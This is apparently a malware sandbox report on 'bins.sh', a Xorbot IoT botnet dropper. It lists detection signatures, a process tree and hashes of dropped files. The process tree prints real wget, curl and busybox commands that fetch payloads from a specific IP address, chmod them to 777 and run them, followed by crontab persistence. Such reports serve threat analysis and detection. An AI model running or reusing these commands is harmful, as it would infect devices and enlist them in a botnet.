Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    161s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    20/01/2025, 14:42

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250120-r2z4fstrfl
  • SHA256 756fa55e786f4bb0bca140217e4d0f6ee14cdc505ac09e9697ffdcdc744cb688
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1994) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:646
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:648
        • /usr/bin/wget
          wget http://66.63.187.225/bins/GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          2⤵
          • Writes file to tmp directory
          PID:650
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:675
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          2⤵
          • Writes file to tmp directory
          PID:681
        • /bin/chmod
          chmod 777 GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          2⤵
          • File and Directory Permissions Modification
          PID:687
        • /tmp/GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          ./GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          2⤵
          • Executes dropped EXE
          PID:689
        • /bin/rm
          rm GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          2⤵
            PID:692
          • /usr/bin/wget
            wget http://66.63.187.225/bins/DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            2⤵
            • Writes file to tmp directory
            PID:693
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:702
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            2⤵
            • Writes file to tmp directory
            PID:713
          • /bin/chmod
            chmod 777 DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            2⤵
            • File and Directory Permissions Modification
            PID:723
          • /tmp/DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            ./DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            2⤵
            • Executes dropped EXE
            PID:724
          • /bin/rm
            rm DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            2⤵
              PID:727
            • /usr/bin/wget
              wget http://66.63.187.225/bins/zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              2⤵
              • Writes file to tmp directory
              PID:728
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:736
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              2⤵
              • Writes file to tmp directory
              PID:747
            • /bin/chmod
              chmod 777 zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              2⤵
              • File and Directory Permissions Modification
              PID:752
            • /tmp/zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              ./zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              2⤵
              • Executes dropped EXE
              PID:754
            • /bin/rm
              rm zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              2⤵
                PID:757
              • /usr/bin/wget
                wget http://66.63.187.225/bins/hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                2⤵
                • Writes file to tmp directory
                PID:758
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:773
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                2⤵
                • Writes file to tmp directory
                PID:774
              • /bin/chmod
                chmod 777 hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                2⤵
                • File and Directory Permissions Modification
                PID:775
              • /tmp/hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                ./hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:776
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:778
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:779
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:780
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:781
                    • /bin/rm
                      rm hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                      2⤵
                        PID:783
                      • /usr/bin/wget
                        wget http://66.63.187.225/bins/lDWv4DMwuWoQI1QP9Zp0dxwf8TuSzWpUWz
                        2⤵
                          PID:786

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

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                            Downloads

                            DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
                            • Path /tmp/DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
                            • Size 99KB
                            • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
                            • Path /tmp/GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
                            • Size 112KB
                            • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                            • Path /tmp/hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                            • Size 177KB
                            • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
                            • Path /tmp/zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
                            • Size 98KB
                            • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            tmp.zltu6Q
                            • Path /var/spool/cron/crontabs/tmp.zltu6Q
                            • Size 210B
                            • SHA256 fdeb938aa01f2804678a3724ec6dd074617b22b3c326c680c9f72323b493e776
                            • MD5 SHA1 SHA512
                            Submit Download